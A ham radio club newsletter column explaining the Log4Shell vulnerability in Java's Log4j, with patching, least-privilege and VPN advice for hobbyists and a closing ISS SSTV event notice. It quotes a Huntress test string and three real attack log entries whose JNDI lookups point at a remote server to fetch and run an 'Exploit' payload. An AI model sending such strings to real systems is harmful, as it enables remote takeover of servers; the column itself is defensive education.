One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.
Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.
You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!
If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.
Now without further ado…
Read the full edition at:
THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net
Hey gang,
Ever hear the quote from a famous computer security professional, Bruce Schneier, stating ‘vulnerabilities only ever get worse, they never get better?’ The Information Technology industry had it about as bad as it gets this month. A vulnerability in a Java logging utility, Log4j, obtained the highest severity rating, a CVSS score of 10. CVSS is a computer industry standard for rating vulnerabilities, 0 to 10 with 10 being the most severe. Dubbed Log4Shell, this trivial attack can gain shell level access to a system, described as the “the single biggest, most critical vulnerability ever” by Ars Technica.
Most any IT applications or services have a server to handle requests. This could be any of a web server, mail server, or even a game server hosted on the Internet. These servers generate logs such that administrators can review them to validate the server is functioning correctly. Logs are heavily relied upon when users report problems. Admins use logs to recreate events of the past as part of troubleshooting. This is referred to as the “/var/log” directory in Linux systems. Anytime a request is made from a device to a server, that generates a log entry. Apache web server logs contain things such as:
- Source/users IP address
- Date and time
- Get or post. Get retrieves data from the resource while post does the opposite, sends data to the resource.
- URL requested
- HTTP status codes. This is where the 404 “not found” meme originates.
- Size of the data returned
- User agent which is accessing the resource, usually a browser. May include other bits like operating system information.
A real log example from my webserver where AllStar & Allmon are running (user’s IP address is replaced with 123.456.789.000):
123.456.789.000 - - [18/Dec/2021:23:41:42 +0000] "GET /server.php?nodes=1000,50394,1202,1203,1204 HTTP/1.1" 200 187395 "https://allmon2.k8jtk.org/link.php?nodes=1000,50394,1202,1203,1204" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57"
An administrator may want to take actions based on the logs. That’s where Log4j is added to the flow. The server will send logs to Log4j. Log4j parses logs. It decides to interpret or send them off for archival purposes in the file system or to a separate logging server.
A string such as the one below is passed to a web server. Log4j will act on it including download and execute any random payload that is returned.
${jndi:ldap://log4shell.huntress.com:1389/unique-identifier}
The above string similar to a test generated by the Huntress Labs Log4j/Log4Shell vulnerability tester. This is not showing how to exploit servers, anything that’s a secret, or anything that’s not already published online. In fact, the Huntress tool is open source on GitHub. If a similar string is entered into a web application and the Huntress Labs server subsequently sees a request with that unique identifier, it can be assumed the web application tested is vulnerable. A negative test does not necessarily mean the application is not vulnerable.
There is a one-liner test that can be run from the Command Line (CLI) on a Windows or Linux system called Log4j Checker. Note, however, the checker is beta code and the maintainer is not committed to maintaining the script. There is a post looking to transfer ownership as it took too much of their time.
The Huntress Labs tester is benign but the bad guys won’t be so nice. They can craft a string having Log4j reach out to any external resource, such as BadGuyMaliciousHost[dot]com, download and execute any payload the bag guys wish, effectively pwning the server (pronounced “owning”). Not everything that’s sent back to a server will be bad but there is a very high probability it will be.
Real log entries trying to exploit Log4Shell three different ways on my server are shown below. No, my web servers are not vulnerable but that doesn’t stop individuals from trying to find out. All requests originate from the same IP attempting to have the “Exploit” payload downloaded and executed on my server from another remote server. Relevant IPs are scrubbed, client is replaced with 111.222.333.444, remote server replaced with 555.666.777.888:
111.222.333.444 - - [22/Dec/2021:17:22:09 +0000] "GET /${jndi:ldap://555.666.777.888:1389/Exploit} HTTP/1.1" 404 5200 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
111.222.333.444 - - [22/Dec/2021:17:22:11 +0000] "GET / HTTP/1.1" 200 5259 "-" "${jndi:ldap://555.666.777.888:1389/Exploit}"
111.222.333.444 - - [22/Dec/2021:17:22:16 +0000] "GET /?s=${jndi:ldap://555.666.777.888:1389/Exploit} HTTP/1.1" 200 5259 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
(Kevin Beaumont @GossiTheDog)
Servers can be attacked using a single line of text sent through a web application form, instant message, URL, chat window, or, as some clever minded individuals surmised, the name of an iPhone triggered the exploit as well. This confirmed Apple’s servers were vulnerable to attack. The device name of an iPhone was changed to a string which triggered the exploit. When the iPhone device registered and communicated with Apple’s servers, Log4j saw the string and acted upon it. Luckily the individual composed a benign payload to have Apple’s infrastructure induce a DNS request – which is something done all the time like when browsing the Internet. If that individual saw in logs, on a server he controlled, a DNS request for the hostname originating from Apple IP addresses, it’s was then known Apple’s servers were vulnerable. If there was no DNS request, could be assumed not vulnerable or the exploit was already patched.
Once a bad guy obtains access to a vulnerable system, they can do anything the user or administrator can do. Add programs, remove programs, delete files, install services to mine cryptocurrency, create botnets, send spam, and use the server in other illegal activities such as host ransomware.
Log4j needs updated immediately to log4j-2.16.0 or later on any system running an earlier version. Make sure Java is updated while you’re at it. Though patches have been released, the industry is at the mercy of vendors to release updates. A list is actively being updated of known vulnerable applications, services, appliances, and other devices. There are A LOT. If devices are found vulnerable but no updates are available, remediation steps should be taken like shutting down, replacing, or moving to an isolated network as to not be exposed to the Internet or other devices on the Local Area Network (LAN). The Canadian government shutdown nearly 4,000 websites in response. Few actions are more drastic as shutting down government websites and services. Shutting down your services and applications should not be out of the realm of possibilities.
As the cliché goes: this was a feature, not a bug in Log4j. Users wanted parsing as part of the plugin but that feature was poorly implemented. Java is the #1 development platform and runs on billions of devices according to the website. Anything running Java is potentially vulnerable. Big named companies and applications were found to be vulnerable in addition to Apple: Amazon, Tesla, Apache web servers, video game servers, Elastic Search, Twitter and no doubt thousands more.
This is not to minimize the impact of a random server setup in a closet that’s been forgotten about. They are just as vulnerable and easily exploited. As are the random Internet of Things (IoT) companies who released cheap Java based video cameras, doorbells, door lock controllers, internet connected audio devices, network devices, or digital video recorder devices – again, to name a very new. There they sit with ports forwarded from the open Internet, very likely opening a home network to attack.
To say gamers aren’t good for anything, this exploit was first found in the very popular game called Minecraft. Someone was looking for ways to exploit Minecraft game servers. Using a malicious string in a Minecraft chat box, they were able to “pwn” the server.
Sad part in all of this: billion-dollar companies and technologies are relying on open-source programs maintained by volunteers. These volunteers bust their butts (for free) to fix this issue so that enterprises whom rely on this technology can continue to operate. If you have a commercial enterprise, it’s imperative companies should be kicking in, providing support or substantial donations to these projects.
Same is true for a favorite ham radio implementation. Provide time in testing, talent in support or quashing bugs, or treasure in donating to the project to keep the lights on. An obvious example to me is ham radio digital hotspots. Yes, you might have purchased a board or complete kit from a vendor or someone selling devices. Individuals who wrote the underlying code (G4KLX) and package it so it works as well as it does (Pi-STAR) do not see a penny from that sale. Please be generous to the projects that not only make ham radio enjoyable or advance ham radio technology, but ones you use for free in any capacity.
To that point, I found a reference to Ham-Pi containing a vulnerable Log4j version. Exposure should be minimal only being accessible on Local Area Network (LAN). In theory, the LAN should have less attack vectors. I’m sure someone has forwarded SSH, VNC, or some other port to Ham-Pi from the Internet, opening their network and devices to external attacks. Dave is going to release an update to Ham-Pi as his time allows.
As for other projects, it’s not any different across the industry, hams will be all in on a project and let the project get stale, not receiving updates. If a project is open source, searching the code for Log4j as a dependency is a sign that application is vulnerable. If the Log4j dependency can be updated externally to the latest version and the code re-compiled, that would mitigate the exploit. However, if there are only downloadable compiled binaries available – there’s no telling if it is or is not vulnerable to exploitation.
This vulnerability checked off a lot of boxes that most overlook or try to argue are non-issues. Those being: this poorly written feature has been vulnerable to exploit since 2013. This, again, proves vulnerabilities will exist for many years before someone finds them. Most will say the app is “secure.” Nothing is entirely secure, vulnerabilities just haven’t been found and aren’t known yet. Another is vulnerabilities exist only in web browsers, to say not in operating systems or other applications. While it’s true that most are disclosed because everything uses a web browser today, more eyes are looking at browsers for exploits. This is a case where it is not the web browser but a component of the Java logging framework used on backend systems.
(Kevin Beaumont @GossiTheDog)
Services and applications need to be run with least privileged accounts, non-root and non-administrative accounts. This is my gripe about many projects that run all as root and do not take the time to understand or figure out least-privileged permissions. Vulnerabilities certainly can and do exist anywhere humans have written a line of code or run a command.
I especially recommend not port forwarding from the public Internet due to reasons such as the ease of exploiting Log4Shell or any other trivially exploitable vulnerability yet to be discovered. Devices like video cameras or other IoT that require access by a few individuals should be setup with a tunnel using a private link VPN. Router and SD-WAN (software defined networking) technologies such as OpenWRT, DD-WRT, Tomato, pfSense, OPNsense, Zerotier, a Pi, or any other number of technologies that can establish a secure point-to-point tunnel eliminates exposure of devices to the Internet. Plenty of tutorials exist showing how to setup OpenVPN or Wireguard on consumer-based routing devices. There is absolutely no need to have random IoT devices on the Internet open to exploitation.
To make matters worse, I have found ham radio devices such as OpenSpots and Pi-Stars on the Internet – some with default passwords. DO NOT DO THIS (either)! These devices are setup with direct access from the Internet. Why? Users think it’s convenient. Convenience is the enemy of security. Some probably were setup with temporarily access from the Internet and never had that removed.
It is mostly unrealistic to host a web or other service for hundreds or thousands of users, requiring each to configure a VPN. A Pi-Star or AllStar node setup for club members to control would be an example. Devices hosting such services should be isolated in a proper DMZ, updated frequently, use encryption and strong passwords. For plenty of security tips and tricks, check out my October 2020 article.
If you’re reading this before the end-of-the-year, there is still time to participate in the ARISS SSTV event. The International Space Station will be sending Slow Scan TV images starting Dec 26 about 18:25 UTC and ending Dec 31 about 17:05 UTC. These times are, of course, planned and subject to change based on crew schedules and availability. These events generate a lot of buzz and interest in SSTV and ham radio in general. If you don’t have a satellite tracking station, using an outdoor omni-directional antenna, an HT with 1/4 wave whip, or even better a hand-held directional (like ones used for foxhunting) will work for receiving signals.
All you need is a receiver tuned to 145.800 MHz FM, software to decode signals such as: MMSSTV on a PC (I also have getting started instructions), DroidSSTV for Android or SSTV for iOS. Satellite tracking programs such as: Gpredict or Nova on the PC, AmastDroid, or websites like N2YO and AstroViewer track the position and offer predictions of upcoming passes. When the ISS is nearly over head, start receiving images! The ARISS link above has information on uploading images for a QSL or for an award.
Thanks for reading. Happy New Year! 73… de Jeff – K8JTK
